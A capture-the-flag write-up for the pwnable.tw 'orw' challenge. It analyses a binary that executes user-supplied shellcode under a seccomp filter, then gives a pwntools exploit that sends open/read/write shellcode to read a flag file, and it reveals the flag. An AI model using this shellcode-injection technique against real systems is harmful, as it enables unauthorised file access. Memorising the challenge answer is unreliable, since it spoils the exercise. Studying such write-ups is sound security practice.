Challenge description

Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.

nc chall.pwnable.tw 10001

I don’t know why Microsoft Defender suggests it’s a virus, lol.
Let’s do it on Kali :)

Inspection

file

┌──(kali㉿kali)-[~/Desktop]
└─$ file orw           
orw: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped

It is a 32-bit x86 ELF binary.

checksec

┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=orw
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   74 Symbols        No    0               2               orw

Both NX and PIE are disabled.

seccomp-tools

┌──(kali㉿kali)-[~/Desktop]
└─$ seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

As stated in the challenge description, only the open, read, and write syscalls are allowed.

Decompile

Decompiling the binary with Ghidra gives the following code:

undefined4 main(void)

{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0,shellcode,200);
  (*(code *)shellcode)();
  return 0;
}

It simply asks for shellcode and execute it directly. Therefore, all we need to do is construct a valid shellcode.

Solving

We will invoke the open, read, and write syscalls in sequence to print the flag.
Referring to https://x86.syscall.sh, we can see the required arguments the registers used to pass them. You can write the shellcode manually, but I will use pwntools’ built-in function, shellcraft, to keep the task simple. The exploit should be easy to understand:

exploit.py
from pwn import * context.arch = "i386" context.os = "linux" io = remote("chall.pwnable.tw", 10001) sc = asm( shellcraft.open(b'/home/orw/flag') + shellcraft.read('eax', 'esp', '0x50') + shellcraft.write('1', 'esp', '0x50') ) io.sendafter(b'Give my your shellcode:', sc) info(f"The flag is: {io.recvuntil(b'}').decode()}") io.close()

We use the return value (stored in $eax) as the first argument to the read function. This value is the file descriptor of the flag file that we just opened.
We pass 1 to the write function because file descriptor 1 corresponds to stdout.

Run the script and get the flag!

Flag: FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}